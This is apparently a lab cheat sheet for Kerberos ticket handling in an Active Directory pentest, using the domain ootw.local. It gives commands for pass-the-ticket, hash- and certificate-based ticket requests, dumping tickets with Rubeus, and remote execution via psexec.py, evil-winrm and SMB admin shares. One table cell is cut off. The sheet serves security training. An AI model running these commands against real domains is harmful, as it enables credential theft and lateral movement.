Variables:
export DC=10.10.10.200
export DOMAIN=ootw.local
export REALM=OOTW.LOCAL
export USER=student
Conversion matrix:
| Goal | Tool | Command |
|---|---|---|
.kirbi to ccache | Impacket | ticketConverter.py ticket.kirbi ticket.ccache |
ccache to .kirbi | Impacket | ticketConverter.py ticket.ccache ticket.kirbi |
.kirbi to ccache | minikerberos | minikerberos-kirbi2ccache ticket.kirbi ticket.ccache |
base64 to .kirbi | Linux | `cat ticket.b64 |
base64 to .kirbi | PowerShell | [IO.File]::WriteAllBytes('ticket.kirbi', [Convert]::FromBase64String($ticket)) |
password to ccache | Impacket | getTGT.py $DOMAIN/$USER:'Password123!' -dc-ip $DC |
NTLM to ccache | Impacket | getTGT.py -hashes :NTLM $DOMAIN/$USER -dc-ip $DC |
AES to ccache | Impacket | getTGT.py -aesKey AESKEY $DOMAIN/$USER -dc-ip $DC |
PFX to ccache | PKINITtools | gettgtpkinit.py -cert-pfx user.pfx -pfx-pass PFXPASS $DOMAIN/$USER user.ccache |
PFX to ccache | Certipy | certipy auth -pfx user.pfx -password PFXPASS -domain $DOMAIN -dc-ip $DC |
| keytab to TGT | MIT Kerberos | kinit -k -t user.keytab user@$REALM |
use ccache | MIT Kerberos | export KRB5CCNAME=FILE:$(pwd)/ticket.ccache; klist |
inject .kirbi | Rubeus | Rubeus.exe ptt /ticket:ticket.kirbi |
describe .kirbi | Rubeus | Rubeus.exe describe /ticket:ticket.kirbi |
| dump tickets | Rubeus | Rubeus.exe dump /export |
| purge tickets | Rubeus | Rubeus.exe purge |
Usage matrix:
| Target | Command |
|---|---|
| List Linux cache | klist -e |
| Destroy Linux cache | kdestroy; unset KRB5CCNAME |
| LDAP with cache | ldapsearch -Y GSSAPI -H ldap://dc01.ootw.local -b 'DC=ootw,DC=local' '(objectClass=domain)' |
| SMB with cache | smbclient -k //dc01.ootw.local/C$ |
| Impacket execution | psexec.py -k -no-pass $DOMAIN/$USER@target.ootw.local -dc-ip $DC |
| NetExec SMB validation | nxc smb $DC -d $DOMAIN -u $USER -k --use-kcache |
| NetExec LDAP validation | nxc ldap $DC -d $DOMAIN -u $USER -k --use-kcache |
| evil-winrm Kerberos | evil-winrm -i dc01.ootw.local -r $REALM -k |
| Windows ticket list | klist |
| Windows purge | klist purge |
Troubleshooting matrix:
| Symptom | Check |
|---|---|
| Ticket exists but access fails | Confirm SPN with klist -e |
No credentials cache found | Check KRB5CCNAME path |
KRB_AP_ERR_TKT_EXPIRED | Ticket expired; request or renew |
KRB_AP_ERR_SKEW | Fix clock skew |
KRB_AP_ERR_MODIFIED | Wrong service key or SPN |
Server not found in Kerberos database | DNS, hostname, SPN, or realm mismatch |
| Windows injection fails | Confirm .kirbi is decoded binary, not text |
| Linux conversion fails | Try current Impacket ticketConverter.py |